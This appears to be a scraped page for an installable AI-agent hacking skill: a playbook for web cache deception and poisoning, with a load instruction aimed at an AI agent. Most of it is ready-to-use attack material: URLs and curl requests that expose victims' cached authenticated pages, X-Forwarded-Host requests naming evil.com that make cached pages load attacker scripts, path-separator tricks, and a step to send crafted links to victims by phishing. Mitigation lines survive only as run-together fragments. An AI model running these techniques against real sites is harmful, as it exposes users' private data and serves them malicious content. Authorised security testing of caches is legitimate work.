npx skills add ...
npx skills add yaklang/hack-skills --skill web-cache-deception
Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.
npx skills add yaklang/hack-skills --skill web-cache-deception
AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.
Also load CACHE_POISONING_TECHNIQUES.md when you need:
The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:
The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:
CDNs typically cache by file extension:
Send the crafted URL to victim via phishing, message, or embed:
Cache keys typically include: Host, URL path, query string.
These are typically NOT in the cache key: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, cookies, custom headers.
The key to cache deception: CDN and application normalize paths differently.
| Component | Behavior |
|---|---|
| CDN (Cloudflare, Akamai) | Caches based on full URL path including extension |
| Application (Rails, Django, Express) | May ignore trailing path segments or extensions |
| Reverse proxy (Nginx) | May strip or rewrite path before forwarding |
/static/*, /assets/*)Cache-Control: no-store, private on authenticated endpointsVary: Cookie to prevent cross-user cache hitsX-Forwarded-* headersCache-Control: no-cache for dynamic content.css .js .jpg .png .gif .svg .ico
.woff .woff2 .ttf .pdf .json (sometimes)# Append static extension to authenticated endpoint:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json
# Path traversal style:
https://target.com/account/profile/..%2fstatic/app.css# Request as victim (authenticated):
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css
# Check response headers:
# X-Cache: MISS (first request)
# Age: 0
# Request again as attacker (no auth):
curl https://target.com/account/profile/x.css
# Check response:
# X-Cache: HIT
# Contains victim's authenticated content? → vulnerablehttps://target.com/account/profile/tracking.gif# Test if X-Forwarded-Host is reflected but not keyed:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# If response contains evil.com and caches → poisonableX-Forwarded-Host X-Forwarded-Scheme X-Forwarded-Proto
X-Original-URL X-Rewrite-URL X-Host
X-Forwarded-Server Forwarded True-Client-IPGET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Response: <link href="//evil.com/static/main.css">
→ Cached → all users load attacker's CSS/JS# Application treats these as equivalent:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css
# CDN treats .css as cacheable static asset
→ Mismatch = vulnerability# Target page uses X-Forwarded-Host to generate meta tags:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Response:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# or:
<link rel="canonical" href="https://evil.com/">
# If response is cached → all users see evil.com references
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack# Semicolon (treated as path parameter by some frameworks):
/account/profile;.css
# Encoded separators:
/account/profile%2F.css
# Trailing dot/space:
/account/profile/.css
/account/profile .css□ Identify CDN/cache layer (X-Cache, Age, Via headers)
□ Append .css/.js/.png to authenticated API endpoints
□ Check if response is cached (X-Cache: HIT on second request)
□ Test path separators: /x.css, ;.css, %2F.css
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
□ Verify Cache-Control headers on sensitive endpoints
□ Check Vary header presence
□ Test with and without authentication